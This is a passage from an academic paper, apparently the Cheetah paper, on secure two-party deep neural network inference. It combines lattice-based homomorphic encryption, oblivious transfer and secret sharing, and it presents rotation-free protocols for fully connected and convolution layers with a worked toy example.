introduced cryptographic frameworks based on secure two-
party computation (2PC) [5] to enable privacy-preserving
(deep) neural network inference. The problem they are try-
ing to solve could be described as follows: A server holds a
valuable pre-trained neural network model F . The server is
willing to provide F as a service but does not want to give out
F directly. A client wants to use F to predict on her data x, but
she considers x as private information and does not want to
reveal it to the server. 2PC protocols could solve this dilemma
and fulfill both parties’ requirements: The participant(s) could

learn the inference result F(x) but nothing else beyond what
can be derived from F(x). A possible application is privacy-
preserving face recognition, where the server could identify
criminals from photos without viewing the photo contents.

Unfortunately, there still exist performance gaps between
the current 2PC-NN inference systems and real-world applica-
tions. Because of large computation and communication over-
head, those systems have been limited to small datasets (such
as MNIST and CIFAR) or simple models (e.g. with a few hun-
dreds of parameters). Recently the system CrypTFlow2 [46]
has made considerable improvements, and demonstrate, for
the first time, the ability to perform 2PC-NN inference at
the scale of ImageNet. Despite their advances, there remains
considerable overhead: For instance, using CrypTFlow2, the
server and the client might need more than 15 minutes to run
and exchange more than 30 gigabytes of messages to perform
one secure inference on ResNet50.
Our contribution. In this paper, we present Cheetah1, a se-
cure and fast two-party inference system for deep neural net-
works (DNN). Cheetah achieves its performance via a careful
co-design of DNN, lattice-based homomorphic encryption,
oblivious transfer, and secret-sharing. Cheetah contributes a
set of novel cryptographic protocols for the most common
linear operations and non-linear operations of DNNs. Cheetah
can perform secure inference on large models, e.g. ResNet,
and DenseNet [28], with significantly smaller computation
and communication overheads than the state-of-the-art 2PC-
NN inference systems. For instance, using Cheetah, the server
and the client can perform one secure inference on ResNet50
within 2.5 minutes, exchanging less than 2.3 gigabytes of
messages under a wide area network setting, which improves
over CrypTFlow2 by about 5.6× and 12.9×, respectively.
Potential Real World Applications. In [57], the researchers
train a DenseNet121 to predict lung diseases from chest X-
ray images.Also, [24] uses DNNs for diagnosing Diabetic
Retinopathy (one of the major causes of blindness) from reti-
nal images. A such prediction can be done securely within 3

1Our implementation is available from https://github.com/
Alibaba-Gemini-Lab/OpenCheetah
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minutes with Cheetah.

1.1 Our Techniques

The layers of modern DNNs consist of alternating linear
and non-linear operations. To design efficient 2PC-NN in-
ference systems, multiple types of cryptographic primitives
are commonly used together. For instance, DELPHI [41] and
CrypTFlow2 [46] leverage homomorphic encryption (HE)
to evaluate the linear functions of DNN and turn to garbled
circuits (GC) or oblivious transfer (OT) to compute the non-
linear functions of DNN. Cheetah is also a hybrid system
with novel insights on designing the base protocols and on
the way how to coordinate different types of cryptographic
primitives. We describe a high-level overview of our main
techniques from three aspects.

1.1.1 Achieving the Best in Two Worlds

Most of the existing 2PC-NN systems [39, 41, 43, 46] sug-
gest using the additive secret sharing technique to switch
back-and-forth between different types of cryptographic prim-
itives. There remains a question that which domain should
be used for the additive sharing, a prime field Zp or the ring
Z2`? As shown in [46], for the non-linear functions of DNNs,
OT-based protocols on the ring Z2` can perform 40%−60%
better than on the prime field Zp in terms of bandwidth con-
sumption. Another reason to use Z2` instead of Zp is that
modulo reduction in Z2` is almost free on standard CPUs.

However state-of-the-art HE-based protocols [6, 7, 10, 21,
34] in the existing 2PC-NN systems force them to export the
additive secret to the prime field Zp but not to the more effi-
cient choice Z2` . That is because these HE-based protocols
heavily utilize the homomorphic Single-Instruction-Multiple-
Data (SIMD) technique [52] to amortize the cost of homo-
morphic operations. The SIMD technique in turn demands a
prime plaintext modulus p due to some algebraic conditions.
One can use the Chinese Remainder Theorem to accept secret
shares from Z2` using a prime modulus p≈ 2` at the cost of
increasing the overhead on the HE-side by many (e.g., 3–5)
times. But this would ruin the gains of the non-linear part.
In fact, most of the current HE-hybrid systems work over a
prime field and tolerate the less efficient non-linear protocols.
This raises the question: Could we find a way to achieve the
best of both worlds? That is to enjoy amortized homomorphic
operations while keeping the efficient non-linear protocols on
the yard without extra overheads. As we will show, the an-
swer is yes with our new design of HE-based and SIMD-free
protocols for the linear functions of DNNs.

1.1.2 Fast and SIMD-free Linear Protocols

Due to the spatial property of the convolution and matrix-
vector multiplication, it is inevitable for the prior HE-based

and SIMD-tailored protocols [6, 7, 10, 21, 34] to rotate the
operands many times. Note that the rotation is an expensive
operation even compared to the multiplication in the realm of
HE, e.g., 30× more expensive cf. [6, Table 9]. These massive
homomorphic rotations have become a major obstacle to the
existing 2PC-NN inference systems.

As a comparison, the HE-based protocols in Cheetah are
free of homomorphic rotation. We present three pairs of en-
coding functions (πi

F ,π
w
F) that enable us to evaluate the linear

layers F ∈ {CONV,BN,FC} of DNNs via polynomial arith-
metic circuits. These encoding functions map the values of
the input (e.g., tensor or vector) to the proper coefficients of
the output polynomial(s). By careful design of the coefficient
mappings, we not only eliminate the expensive rotations but
are also able to accept secret shares from Z2` for free. For
example, the secure convolution HomCONV(T,K) (given
later in Figure 4) in Cheetah could be computed via just a
single homomorphic multiplication between two polynomi-
als t̂ and k̂ where t̂ = πi

CONV(T) is the encoded tensor and
k̂ = πw

CONV(K) is the encoded kernel, respectively.
Interestingly, our new design also helps to reduce the cost

of other homomorphic operations (e.g., encryption and de-
cryption). On one hand, the rotation-based approaches use
a large lattice dimension e.g., N ≥ 8192. On the other hand,
Cheetah can use a smaller dimension (i.e., N = 4096) to offer
the same capability, i.e., using the same size of the plaintext
modulus and evaluating the same classes of linear functions.
The main reason lies in the implementation of HEs. Most of
the current implementations of lattice-based HEs apply the
special prime technique [20] to accelerate the costly homo-
morphic rotation at the cost of reducing the security level.
To bring up the security level, the rotation-based approaches
have to bump up the lattice dimension, and thus translate to
slower homomorphic operations.

1.1.3 Leaner Protocols for the Non-linear Functions

With the advent of silent OT extension [9] built upon vector
oblivious linear evaluation (VOLE), many communication-
efficient OT extensions [14, 56] are proposed, and the land-
scape of non-linear function evaluation demands further in-
depth adaptation. [9, 14, 56] suggest that general secure two-
party computation can be upgraded by using VOLE-style OT
extension, but it remains to be seen how to design special-
purpose primitives to fully benefit from VOLE-style OT. Take
the integer comparison (Millionaire) protocol, for example,
straightforwardly upgrading the OT extensions with VOLE-
style OT extensions does not achieve the best performance.

We further make improvements to the truncation protocol,
which is required after each multiplication so that the fixed-
point values will not overflow. Truncation is expensive: It
contributes more than 50% of communication overhead in
CrypTFlow2. Our improvements are based on two important
observations: First, the truncation protocol in CrypTFlow2 is

810    31st USENIX Security Symposium USENIX Association



designed to eliminate two probability errors e0 and e1 where
Pr(|e0| = 1) = 0.5 and Pr(0 < |e1| < 2`) < ε (elaborated in
§2.4). With extensive empirical experiments, we observe that
the harsh error e1 is indeed problematic but the mild 1-bit er-
ror e0 barely harms the inference results, even for large-scale
DNNs. This motivates us to design more efficient truncation
protocols that eliminate e1 but keep e0 untouched. Our second
observation is that sometimes the most significant bit (MSB)
is already known before the truncation. For instance we know
the the MSB is 0 if the truncation protocol is executed right
after a ReLU (i.e, max(0,x)) protocol. Similar to the opti-
mization from [45], we implement a truncation protocol for
the case of known MSB using VOLE-style OT. In a word, we
made all the above optimizations, resulting in faster running
time and bringing down more than 90% of the communication
cost of CrypTFlow2 for the non-linear layers.

Overall, we compare the complexity of Cheetah’s protocols
with the state-of-the-art counterparts in Table 1.

1.2 Other Related Work
Secure computation of machine learning inference algorithms
can perhaps date back to [8,23]. CryptoNets [21] was the first
system to consider secure two-party neural network inference.
The following improvements after CryptoNets can be roughly
categorized into three classes. 1) Optimizations for the basic
operations of NN such as convolutions [10, 34], matrix mul-
tiplications [33, 40] and non-linear activation functions [19].
2) Optimizations for a specific class of NN. For instance, NN
uses linear activation functions only [7, 17, 27] and binarized
NNs [2, 47]. 3) Using mixed primitives (e.g., Garbled Circuit,
Trusted Execution Environment, HE and OT) to achieve the
best performance for both the linear and non-linear functions
in NNs [6, 34, 39, 43, 53]. Some other works consider the
secure inference problem with more than two parties such
as [15,16,37,42]. These HE-free approaches are usually more
efficient than the two-party counterparts. For instance, [37] is
more than 15× faster than CrypTFlow2 on ResNet50.

2 Preliminaries

2.1 Notations
We denote by [[n]] the set {0, · · · ,n− 1} for n ∈ N. We use
d·e, b·c and b·e to denote the ceiling, flooring, and rounding
function, respectively. We denote Zq = Z∩ [−bq/2c,bq/2c]
for q≥ 2. Particularly, Z2 denotes the set {0,1}. For a signed
integer x, we write x� f to denote the arithmetic right-shift
of x by f -bit. λ is the security parameter. We use F to denote
a general field. The logical AND, OR and XOR is ∧, ∨ and
⊕, respectively. Let 1{P} denote the indicator function that
is 1 when P is true and 0 when P is false.

We use lower-case letters with a “hat” symbol such as â to
represent a polynomial, and â[ j] to denote the j-th coefficient

Table 1: Comparison with the state-of-the-art of secure 2PC
protocols for the linear functions and non-linear functions in
DNNs. The linear functions include the convolution (CONV),
batch normalization (BN), and fully connection (FC). The
convolution and batch normalization take as input of a 3-
dimension tensor T ∈ FC×H×W . M and h denote the number
and the size of the filters, respectively. The fully connection
takes as input of a vector ui ∈ Fni and outputs a vector uo ∈
Fno . We write n∗ = min(ni,no) and n̄ = max(ni,no). The non-
linear functions include the comparison of two `-bit private
integers and the truncation of the low f -bit of `-bit integers.
λ is the security parameter (usually λ≥ 128).

Linear Function Mult. Rotations

CONV
[41, 46] O(MCHWh2) O(MCHWh2)
Cheetah O(MCHW ) 0

BN
[46] O(CHW ) 0

Cheetah O(CHW ) 0

FC
[25] O(noni) O(n̄(n∗+ log2(

no
n∗ )))

Cheetah O(noni) 0

Non-linear Function Communication (bits)

Compare
[46] < λ`+14`

Cheetah < 11`

Trunc
[46] λ(`+ f +2)+19`+14 f

Cheetah 13`

of â. We use the dot symbol · such as â · b̂ to represent the
multiplication of polynomials. For a 2-power number N, and
q > 0, we write AN,q to denote the set of integer polynomials
AN,q = Zq[X ]/(XN +1). We use bold upper-case letters such
as T to represent multi-dimension tensors, and use T[c, i, j]
to denote the (c, i, j) entry of a 3-dimension tensor T. We use
bold lower-case letters such as a to represent vectors, and use
a[ j] to denote the j-th component of a. We use a>b to denote
inner product of vectors.
Polynomial Arithmetic. Given polynomials â, b̂ ∈ AN,q, the
product d̂ = â · b̂ over AN,q is defined by

d̂[i] = ∑
0≤ j≤i

â[ j]b̂[i− j]− ∑
i< j<N

â[ j]b̂[N + j− i] mod q. (1)

(1) comes from the fact that XN ≡−1 mod XN +1.

2.2 Lattice-based Homomorphic Encryption
Our protocols use two lattice-based HEs, i.e., HE that based
on learning with errors (LWE) and its ring variant (ring-LWE).
These two HEs share a set of parameters HE.pp= {N,σ,q, p}
such that q, p∈Z and q� p > 0 where the plaintext modulus
p can be a non-prime value.

The basic asymmetric RLWE encryption scheme uses
a secret polynomial as the secret key sk = ŝ ∈ AN,q. The
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associated public key is computed as pk = (û0 · ŝ+ ê0, û0)
where û0 ∈AN,q is chosen uniformly at random, and the error
ê0 ∈ AN,q is chosen by sampling its coefficients from χσ a
discrete Gaussian distribution of standard deviation of σ. The
RLWE encryption of a message m̂∈AN,p is given as a tuple of

polynomials RLWE
N,q,p
pk (m̂) = (b q

p
m̂e+ ê,0)− û ·pk ∈A2

N,p,

where the coefficients of ê ∈ AN,q is sampled from χσ and
the coefficients of û ∈ AN,q is chosen from {0,±1} uni-
formly at random. A RLWE ciphertext (b̂, â) is decrypted
as RLWE−1

sk (b̂, â) = b
p
q
(b̂+ â · ŝ)e ≡ m̂ mod p.

In our protocols, we use the notation LWE
N,q,p
s (m) to de-

note the LWE encryption of a message m ∈ Zp under a
secret vector s ∈ ZN

q . The LWE ciphertext of m is given
as a tuple (b,a) ∈ ZN+1

p and it is decrypted by computing

LWE−1
s (b,a) = b p

q
(b+a>s)e ≡ m mod p. To lighten the no-

tation, we unify the secret of LWE and RLWE ciphertexts by
identifying the LWE secret s[ j] = ŝ[ j] for all j ∈ [[N]]. We
write the LWE encryption of m as LWE

n,q,p
sk (m̂) from now on.

The proposed protocol leverages the following functions
supported by the RLWE encryption.

• Homomorphic addition (�) and subtraction (�). Given
RLWE ciphertexts CT0 and CT1, which respectively en-
crypts a polynomial p̂0 and p̂1, the operation CT0 �CT1
(resp. CT0 �CT1) results at an RLWE ciphertext CT′ that
decrypts to p̂0 + p̂1 ∈ AN,p (resp. p̂0− p̂1).

• Homomorphic multiplication (�). Given an RLWE ci-
phertext CT that encrypts a polynomial p̂, and given a plain
element ĉ ∈AN,p, the operation ĉ�CT results at an RLWE
ciphertext CT′ that decrypts to p̂ · ĉ ∈ AN,p.

• Extract. Given (b̂, â) = RLWE
N,q,p
pk (m̂) of m̂ we can ex-

tract an LWE ciphertext of the k-th coefficient of m̂, i.e.,
(b,a) = Extract((b̂, â),k). The tuple (b,a) is a valid LWE
ciphertext of m̂[k] under the secret key sk. This has the effect
of avoiding extra information leakage when only certain
coefficients are expected to be received by a party. We defer
the details of Extract to Chen et al.’s paper [13, §3.3].

By setting a prime p ≡ 1 mod 2N, it is possible to use the
SIMD technique [52] to amortize the cost of homomorphic
multiplications. For instance, [25] computes the inner product
of two encrypted vector of N elements using one homomor-
phic multiplication and O(log2(N)) homomorphic rotations.
Cheetah does not use SIMD and rotations, so we defer these
details to Appendix B.

2.3 Oblivious Transfer
Our protocols rely heavily on oblivious transfer (OT) for non-
linear computation (e.g., comparison). In a general 1-out-of-2
OT, denoted by

(2
1

)
-OT`, a sender inputs two messages m0 and

m1 of length ` bits and a receiver inputs a choice bit c∈ {0,1}.
At the end of the protocol, the receiver learns mc, whereas the
sender learns nothing. OT is usually realized by building a few
base OT instances with public key cryptography and extend-
ing to a large amount of instances with efficient symmetric
cryptographic operations (IKNP OT extension [31]). When
sender messages are random or correlated in a way, general
OT can be replaced with random OT (ROT) or correlated OT
(COT) which are more efficient in communication [3]. More
general 1-out-of-N OT

(n
1

)
-OT` can be implemented in an

IKNP-style OT extension, or with log2 n calls to
(2

1

)
-OTλ [44].

Recently, [9] propose silent OT extension, where a large
amount of random OT correlations can be generated with a
low-communication input-independent setup and a second
phase of pure local computation. The technique is later im-
proved with more efficient computation in Ferret [56] and
Silver [14]. With little communication cost, these VOLE-style
OTs pave the way for the possibility of next-generation secure
computation. We use VOLE-style OT as a building block for
more efficient designs of non-linear layers in DNN inference.

2.4 Arithmetic Secret Sharing

For the arithmetic secret sharing, an `-bit value x is shared
additively in the ring Z2` as the sum of two values, say 〈x〉A2`
and 〈x〉B2` . To reconstruct the value x, we compute the modulo
addition, i.e., x≡ 〈x〉A2` + 〈x〉

B
2` mod 2`. In the two-party set-

ting, value x ∈ Z2` is secretly shared between Alice and Bob,
by letting Alice hold the share 〈x〉A2` and letting Bob hold the
share 〈x〉B2` . Also, we will omit the subscript if the modulo 2`

is clear from the context.
Fixed-point Values and Truncation. Most prior works on
2PC use fixed-point arithmetic, where a real value x̃ ∈R is en-
coded as a fixed-point value x = bx̃2 f c ∈ Z under a specified
precision f > 0. The multiplication of two fixed-point values
of f -bit precision results at a fixed-point value of 2 f -bit pre-
cision. In order to do subsequent arithmetics, a truncation is
required to scale down to f -bit precision. Suppose 〈x〉A2` and
〈x〉B2` are the shares of a double-precision value, i.e., bx̃22 f c.
A faithful truncation protocol should take 〈x〉A2` and 〈x〉B2` as
input and compute the shares of bx̃22 f c � f .
Truncation Errors. The local truncation protocol of [43] in-
troduces probability errors. For example, to perform the local
truncation on 〈x〉A2` and 〈x〉B2` , two share holders set 〈x′〉A2` =
b〈x〉A2` /2 f c and 〈x′〉B2` = 2`−b2`−〈x〉B2` /2 f c mod 2`, respec-
tively. Then the value x′ equals to bx̃2 f c+ e0 + e1 with two
probability errors where the small error |e0| ≤ 1 occurs at
the chance of 1/2 and the harsh error |e1| < 2` occurs with
a chance of x/2`. To decreases the probability of the harsh
error e1, a larger bitlength ` is needed. This renders a larger
overhead on both of linear protocols and non-linear protocols.
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2.5 Secure Neural Network Inference

In this section we describe an abstraction of DNN and set
up the secure neural inference problem that we will tackle in
the rest of the manuscript. DNN takes an input x (e.g., RGB
image) and processes it through a sequence of linear and non-
linear layers in order to classify it into one of the potential
classes, e.g., z = fd( fd−1(· · ·( f1(x,W1), · · ·),Wd−1),Wd)
where fd is the function evaluated in the d-th layer and Wd
is the weight parameter(s) used in that layer. Suppose we
already have 2PC protocols that take secret-shared inputs and
output secret-shared results for the functions f1, f2, · · · , fd ,
to achieve the secure inference, we can simply invoke the
corresponding 2PC protocols sequentially.

We now describe the functions we are targetting, and then
present how to evaluate those functions privately.

2.5.1 Linear Layers

Fully Connected Layer (FC). The input to a fully connected
layer is a vector v ∈ Fni of length ni and its output is a vector
u∈ Fno of length no. A fully connected layer is parameterized
by the tuple (W,b) where W ∈ Fno×ni is the weight matrix
and b is an no-sized bias vector. The output is specified by
the linear transformation u = Wv+b.
Convolution Layer (CONV). A two dimensional strided
convolution Conv2D(T,K;s) over a field F operates on a
3-dimension tensor T ∈ FC×H×W with a stride s > 0 and a set
of kernels (also called filters) represented by a 4-dimension
tensor K ∈ FM×C×h×h to generate a 3-dimension output ten-
sor T′ ∈ FM×H ′×W ′ where H ′ = b(H − h+ s)/sc and W ′ =
b(W −h+ s)/sc. If T is an RGB image then C = 3 and H,W
denote the height and width of the image, respectively. Also,
M denotes the number of kernels used in the convolution and
h is the size of the kernels.

From a mathematical viewpoint, the two dimensional
strided convolution can be seen as calculating weighted sums

T′[c′, i′, j′] = ∑
c∈[[C]]

l,l′∈[[h]]

T[c, i′s+ l, j′s+ l′]K[c′,c, l, l′]. (2)

for each position (c′, i′, j′) of the output tensor T′.
Batch Normalization Layer (BN). In DNNs, a BN layer
BN(T;α,β) takes as input of 3-dimension tensor T ∈
FC×H×W and output a 3-dimension tensor T′ of the same
shape. An BN layer is specified by the tuple (µ,θ) where
µ ∈ FC is the scaling vector and θ ∈ FC is the shift vector. For
all c ∈ [[C]], i ∈ [[H]] and j ∈ [[W ]], T′ is computed via

T′[c, i, j] = µ[c]T[c, i, j]+θ[c]. (3)

By viewing each channel of T as a HW -sized vector, we can
naturally rewrite the BN evaluation to a form that involves
scalar-vector multiplications and vector additions only.

Parameters: Shape meta ni,no > 0.
Computation: On input 〈v〉A ∈ Fni ,W ∈ Fno×ni and b ∈ Fno

from Alice and input 〈v〉B ∈ Fni from Bob, compute u = Wv+b.
Sample an uniform vector r from Fno .
Return: r to Alice and v− r ∈ F∗ to Bob.

(a) Ideal Functionality FFC

Parameters: Shape meta M,C,H,W,h and stride s > 0.
Computation: On input 〈T〉A ∈ FC×H×W ,K ∈ FM×C×h×h from
Alice and input 〈T〉B ∈ FC×H×W from Bob, compute T′ =
Conv2D(T,K;s). Sample an uniform tensor R from F with the
same shape of T′.
Return: R to Alice and T′−R ∈ F∗ to Bob.

(b) Ideal Functionality FCONV

Parameters: Shape meta C,H,W .
Computation: On input 〈T〉A ∈ FC×H×W ,µ,θ ∈ FC from Alice
and input 〈T〉B ∈ FC×H×W from Bob, compute T′ =BN(T;µ,θ).
Sample an uniform tensor R from F with the same shape of T′.
Return: R to Alice and T′−R ∈ F∗ to Bob.

(c) Ideal Functionality FBN

Figure 1: Ideal Functionalities of Linear Layers

2.5.2 Non-linear Layers

In the context of deep learning, the non-linear layers consist
of an activation function that acts on each element of the input
independently or a pooling function that reduces the output
size. Typical non-linear functions can be one of several types:
the most common ones in DNNs are ReLU functions (i.e.,
ReLU(x) = max(0,x)) and max-pooling functions. In the con-
text of 2PC, truncation is also considered as a non-linear layer
because truncation is beyond the ability of arithmetic circuit.
Following the blueprint of CrypTFlow2, these non-linear lay-
ers can be evaluated securely via OT-based protocols.

2.5.3 Two-Party Inference System & Threat Model

Suppose the secure inference is executed jointly by Alice
(Server) and Bob (Client). Let IA and IB be the private input of
Alice and Bob to a two-party protocol say Π, respectively. We
write OA,OB←Π(IA, IB) to denote an execution of Π where
OA and OB are the output to Alice and Bob, respectively.

We target the same threat model of DELPHI and CrypT-
Flow2. Cheetah is designed for the two-party semi-honest
setting in which both of parties follow the specification of the
protocol and only one of the them is corrupted by an adversary.
In the context of cryptographic inference, Alice holds a DNN
while Bob holds an input to the network, typically an image.
By assuming semi-honest Alice and Bob, our system enables
Bob to learn only two pieces of information: the architecture
of the neural network (i.e., the number of layers, the type of
layers, and the size of each layer), and the inference result. Al-
ice is either allowed to learn the result or nothing, depending
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on the application scenario. All other information about Bob’s
private inputs and the parameters of Alice’s neural network
model should be kept secret. We provide formal definitions
of threat model in Appendix A.

Like all the prior semi-honest inference systems, Cheetah
was not designed to defend against attacks based purely on
the inference results (such as the API attacks [51,54]). Indeed,
we can integrate orthogonal techniques such as differential
privacy [1,32] to provide an even stronger privacy guarantee.

3 Proposed 2PC Protocols of Linear Layers

The core computation in FC, CONV and BN can be rewritten
as a batch of inner products. In deep neural networks, the
fan-in to the inner product circuit can be large, leading a vast
number of homomorphic multiplications. To amortize the cost
of multiplications, most of the prior HE-based approaches
choose to use the SIMD technique. As we have mentioned,
the sum-step in the inner product circuit demands expensive
homomorphic rotations. Also the SIMD technique requires
plaintext from a prime field Zp such that p≡ 1 mod 2N.

On the other hand, our linear protocols are free of SIMD
and homomorphic rotation. We observe that the polynomial
multiplication (1) itself can be viewed as a batch of inner
products if we arrange the coefficients properly. In this sec-
tion, we present and use a pair of natural mappings (πi

F ,π
w
F)

to properly place the values in the input and weight to poly-
nomial coefficients for each of the functionality F in Figure 1.
With the help of (πi

F ,π
w
F), we then show how to evaluate these

functionalities privately. Also, πi
F and πw

F are well-defined for
any p > 1 such as p = 2`, allowing our protocols to accept
secretly shared input from the ring Z2` for free. All above
makes our protocols fundamentally different from the previ-
ous SIMD-based approaches.

3.1 Fully Connection
We present our 2PC protocol for FC layers in Figure 2. The
core computation in an FC layer is the matrix-vector multipli-
cation u = Wv which can be decomposed into inner products
of vectors. Our mapping functions πw

fc and πi
fc are specialized

for computing the inner product using polynomial arithmetic.
Intuitively, when multiplying two polynomials of degree-N,
the (N−1)-th coefficient of the resulting polynomial is the
inner product of the two coefficient vectors in opposite or-
ders. We can easily extend this idea to a batch of inner prod-
ucts. We now give the definitions of πw

fc : Zno×ni
p 7→ AN,p and

πi
fc :Zni

p 7→AN,p. Here we first require noni ≤N for simplicity.

v̂ = π
i
fc(v) where v̂[ j] = v[ j] (4)

ŵ = π
w
fc(W) where ŵ[i ·ni +ni−1− j] = W[i, j],

where i ∈ [[no]], j ∈ [[ni]] and all other coefficients of v̂ and
ŵ are set to 0. The multiplication of polynomials û = ŵ · v̂ ∈

Inputs & Outputs:

〈u〉A ,〈u〉B← HomFC({〈v〉A ,W,b},{〈v〉B ,sk})

W ∈ Zno×ni
p , b ∈ Zno

p , 〈v〉A ,〈v〉B ∈ Zni
p , and u = Wv+b ∈ Zno

p .
Public Parameters: pp= (HE.pp,pk,ni,no,niw,now).

• Shape meta ni,no such that ni,no > 0. The partition window
size 0 < niw ≤ ni,0 < now ≤ ni such that niwnow ≤ N.

• Set ni
′ = dni/niwe and no

′ = dno/nowe.

1: Bob first partitions its input shares 〈v〉B into subvectors
〈vα〉B ∈Zniw

p for α∈ [[n′i]]. Zero-padding them when ni - niw.
2: Bob encodes the vectors to polynomials 〈v̂α〉B = πi

fc(〈vα〉B)
for α ∈ [[n′i]]. Then Bob sends the RLWE ciphertexts
{CT′α = RLWE

N,q,p
pk (〈v̂α〉B)} to Alice.

3: Similarly, Alice first partitions its shares 〈v〉A into 〈vα〉A ∈
Zniw

p following the same manner in Step 1. Also, Alice
partitions the weight matrix W into block matris Wβ,α ∈
Znow×niw

p . Zero-padding is used to the right-most (resp.
bottom-most) blocks when ni - niw (resp. no - now). Then
Alice encodes the subvectors and block matrices to polyno-
mials 〈v̂α〉A = πi

fc〈vα〉A and ŵβ,α = πw
fc(Wβ,α) for α ∈ [[n′i]]

and β ∈ [[n′o]].
4: On receiving the ciphertexts {CT′α} from Bob, Alice oper-

ates CTβ =�α∈[[n′i]]((CT
′
α � 〈v̂α〉A)� ŵβ,α) for β ∈ [[n′o]].

5: [Extract and Re-mask.] Alice samples r∈Zno
p uniformly at

random to re-mask the computing ciphertexts. Specifically,
for each i ∈ [[no]], Alice first extracts an LWE ciphertext
cti = Extract(CTi mod n′o ,(i mod n′o)ni+ni−1) and then re-
masks it via ct′i = cti � r[i]. Alice then sends the LWE ci-
phertexts {ct′i} back to Bob.

6: Alice outputs r+b mod p as the share 〈u〉A.
7: On receiving the LWE ciphertexts {ct′i} from Alice, Bob

computes 〈u〉B [i] = LWE
−1

sk(ct
′
i) for all i ∈ [[no]].

Figure 2: Proposed Secure Fully Connection Protocol

AN,p directly gives the matrix–vector multiplication Wv ≡
u mod p in some of its coefficients.

Proposition 1 Given two polynomials v̂ = πi
fc(v), ŵ =

πw
fc(W) ∈ AN,p, the multiplication Wv ≡ u mod p can be

evaluated via the product û = v̂ · ŵ over the ring AN,p. That
is u[i] is computed in û[i ·ni +ni−1] for all i ∈ [[no]].

Proof 1 For each i∈ [[no]], we write ñi = i ·ni+ni−1 for sim-
plicity. By the definition of (1) and because v̂[ j] = 0 for j≥ ni,
we have û[ñi] = ∑0≤ j<ni

v̂[ j]ŵ[ni− j] = ∑0≤ j<ni
v[ j]W[i, j]

which is exactly u[i]. �

In Proposition 1, other coefficients besides û[ñi] in û contain
extra information beyond Wv. To prevent such leakage, Alice
uses the Extract(·) function to extract the needed coefficients
from û. We present a toy example in Figure 3.

When nino > N, we can first partition the weight matrix
into sub-matrices of 0 < n̄i× n̄o elements such that n̄in̄o ≤N
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Toy example over Z25 .

W =

[
1 2 3
4 5 6

]
,v =

7
8
9

⇒Wv≡
[
18 26

]
mod 25

Cheetah evaluates Wv using πw
fc and πi

fc.

π
w
fc(W)→ ŵ = 3X0 +2X1 +1X2 +6X3 +5X4 +4X5 ∈ A8,25

π
i
fc(v)→ v̂ = 7X0 +8X1 +9X2 ∈ A8,25

⇓ ŵ · v̂ mod (X8 +1,25)

ŵ · v̂≡ 21X0 +6X1 +18X2+

4X3 +284 +26X5 +13X6 +4X7 mod (X8 +1,25)

⇓ Extract needed coefficients

LWE(18) = Extract(RLWE(ŵ · v̂),2)
LWE(26) = Extract(RLWE(ŵ · v̂),5)

Figure 3: Toy example for πw
fc and πi

fc with N = 8 and p = 25.

(n̄i and n̄o can be chosen freely as public parameters as long as
they satisfy this constraint). Zero-padding is used when ni - n̄i
or no - n̄o. Then we convert the task of matrix multiplication
in shape ni×no to subtasks of a smaller size n̄i× n̄o.

Theorem 1 The protocol HomFC in Figure 2 realizes the
ideal functionality FFC of Figure 1a for F= Zp in presence
of a semi-honest admissible adversary.

We defer the proof to Appendix D due to the space limit. For
the complexity, Bob encrypts and sends n′i RLWE ciphertexts
to Alice. Alice operates with n′on′i =O(noni/N) homomorphic
multiplications and additions. Alice sends no LWE ciphertexts
to Bob for decryption which can be compressed to about
O((no +n′oN) log2 q) bits using the optimizations in § 5.2.

3.2 Two Dimensional Convolution
We now present how to evaluate the two dimensional con-
volution (2) using polynomial arithmetic over the ring AN,p.
Consider the most simple case of (2) such that H =W = h and
M = 1, i.e., the input tensor has the same shape as the convo-
lution kernel. Then the computation in (2) becomes an inner
product of two flatten vectors by concatenating T and K row-
by-row and channel-by-channel. For general cases, we can
view the computation of 2-dimension convolution as a batch
of inner products of h2 values. We now give the definitions of
πi

conv : ZC×H×W
p 7→AN,p and πw

conv : ZM×C×h×h
p 7→AN,p. Here

we require MCHW ≤ N for simplicity.

t̂ = π
i
conv(T) st. t̂[cHW + iW + j] = T[c, i, j] (5)

k̂ = π
w
conv(K) st. k̂[O− c′CHW − cHW − lW − l′] = K[c′,c, l, l′],

where O = HW (MC− 1)+W (h− 1)+ h− 1, and all other
coefficients of t̂ and k̂ are set to 0. The multiplication t̂ · k̂ ∈

Inputs and Outputs:〈
T′
〉A

,
〈
T′
〉B← HomCONV({〈T〉A ,K},{〈T〉B ,sk})

such that 〈T〉A ,〈T〉B ∈ ZC×H×W
p , K ∈ ZM×C×h×h

p and T′ =
Conv2D(T,K;s) ∈ ZM×H ′×W ′

p .
Public Parameters: pp= (HE.pp,pk,M,C,H,W,h,s).

• Shape meta M,C,H,W,h such that MCHW ≤N and h≤H,W ,
and stride s > 0.

• Set H ′ = bH−h+s
s c, W ′ = bW−h+s

s c, and O = HW (MC−1)+
W (h−1)+h−1.

1: Bob encodes its share as polynomial 〈t̂〉B = πi
conv(〈T〉

B).
Bob sends the ciphertext CT′ = RLWE

N,q,p
pk (〈t̂〉B) to Alice.

2: Alice encodes its share of input tensor and the filter as poly-
nomials 〈t̂〉A = πi

conv(〈T〉
A), k̂ = πw

conv(K).
3: Alice samples R ∈ ZM×H ′×W ′

p uniformly at random.
4: On receiving the RLWE ciphertext CT′ from Bob, Alice

operates to obtain CT= (CT′� 〈t̂〉A)� k̂.
5: [Extract and Re-mask.] For each c′ ∈ [[M]], i′ ∈ [[H ′]] and

j′ ∈ [[W ′]], Alice first extracts a LWE ciphertext ctc′,i′, j′ =
Extract(CT,O− c′CHW + i′sW + j′s) and then re-masks
it via ct′c′,i′, j′ = ctc′,i′, j′ �R[c′, i′, j′]. Alice then sends the
ciphertexts {ct′c′,i′, j′} back to Bob.

6: Alice outputs R as the share 〈T′〉A.
7: On receiving the LWE ciphertexts from Alice, Bob computes
〈T′〉B [c′, i′, j′] = LWE

−1

sk(ct
′
c′,i′, j′) for all positions (c′, i′, j′).

Figure 4: Proposed Secure Convolution Protocol (Basic Ver)

AN,p directly gives the 2-dimension convolution in some of
the coefficients of the resulting polynomial.

Proposition 2 Given two polynomials t̂ = πi
conv(T), k̂ =

πw
conv(K) ∈ AN,p, the convolution T′ = Conv2D(T,K;s) (2)

can be evaluated by the polynomial multiplication t̂ ′ =
t̂ · k̂ over the ring AN,p. For all positions (c′, i′, j′) of T′,
T′[c′, i′, j′] is computed in the coefficient t̂ ′[O− c′CHW +
i′sW + j′s] where O = HW (MC−1)+W (h−1)+h−1.

Similarly, Alice can apply the Extract(·) function to prevent
possible leakage. We first present the basic version of our se-
cure convolution protocol in Figure 4 which demands “small
